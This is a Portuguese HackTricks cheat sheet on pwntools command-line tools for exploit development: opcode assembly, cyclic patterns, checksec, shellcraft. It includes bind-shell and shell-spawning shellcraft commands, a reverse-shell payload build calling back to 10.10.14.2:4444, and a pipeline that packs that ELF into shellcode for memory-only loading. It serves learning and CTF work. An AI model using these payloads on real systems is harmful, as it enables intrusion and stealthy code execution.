PwnTools

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks
pip3 install pwntools

Pwn asm

Obtenha opcodes de uma linha ou de um arquivo.

pwn asm "jmp esp"
pwn asm -i <filepath>

Pode selecionar:

  • tipo de saída (raw,hex,string,elf)
  • contexto do arquivo de saída (16,32,64,linux,windows...)
  • evitar bytes (new lines, null, a list)
  • selecionar encoder; debugar shellcode usando gdb; executar o output

Pwn checksec

Script do Checksec

pwn checksec <executable>

Pwn constgrep

Pwn cyclic

Obtenha um padrão

pwn cyclic 3000
pwn cyclic -l faad

Pode selecionar:

  • O alfabeto usado (caracteres minúsculos por padrão)
  • Comprimento do padrão uniq (padrão 4)
  • contexto (16,32,64,linux,windows...)
  • Obter o offset (-l)

Pwn debug

Anexar GDB a um processo

pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash

Pode selecionar:

  • Por executável, por nome ou por contexto pid (16,32,64,linux,windows...)
  • gdbscript para executar
  • sysrootpath

Pwn disablenx

Desativar nx de um binário

pwn disablenx <filepath>

Pwn disasm

Desassemblar opcodes hex

pwn disasm ffe4

Pode selecionar:

  • context (16,32,64,linux,windows...)
  • endereço base
  • color(default)/no color

Pwn elfdiff

Imprime diferenças entre 2 arquivos

pwn elfdiff <file1> <file2>

Pwn hex

Obtenha representação hexadecimal

bash
pwn hex hola #Get hex of "hola" ascii

Pwn phd

Obter hexdump

pwn phd <file>

Pode selecionar:

  • Número de bytes a mostrar
  • Número de bytes por linha — byte de destaque
  • Ignorar bytes no início

Pwn pwnstrip

Pwn scrable

Pwn shellcraft

Obter shellcodes

pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port

Pode selecionar:

  • shellcode e argumentos para o shellcode
  • Arquivo de saída
  • formato de saída
  • debug (anexar dbg ao shellcode)
  • antes (trap de debug antes do código)
  • depois
  • evitar usar opcodes (padrão: sem null e nova linha)
  • Executar o shellcode
  • Cor/sem cor
  • listar syscalls
  • listar shellcodes possíveis
  • Gerar ELF como uma biblioteca compartilhada

Pwn template

Obter um template em python

pwn template

Pode selecionar: host, port, user, pass, path e quiet

Pwn unhex

De hex para string

pwn unhex 686f6c61

Pwn update

Para atualizar pwntools

pwn update

ELF → empacotamento raw shellcode (loader_append)

Pwntools pode transformar um ELF independente num único blob de raw shellcode que auto‑mapeia seus segmentos e transfere a execução para o entrypoint original. Isto é ideal para memory‑only loaders (por exemplo, apps Android invocando JNI para executar bytes baixados).

Pipeline típico (exemplo amd64)

  1. Construa um payload ELF estático e independente de posição (musl recomendado para portabilidade):
bash
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
  1. Converter ELF → shellcode com pwntools:
python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
  1. Entregar sc a um memory loader (por exemplo, via HTTP[S]) e executar in-process.

Notas

  • loader_append incorpora o programa ELF original dentro do shellcode e gera um pequeno loader que mmaps os segmentos e salta para o entry.
  • Seja explícito sobre a arquitetura usando context.clear(arch=...). arm64 é comum em Android.
  • Mantenha o código do seu payload independente de posição e evite pressupor detalhes sobre ASLR/NX do processo.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks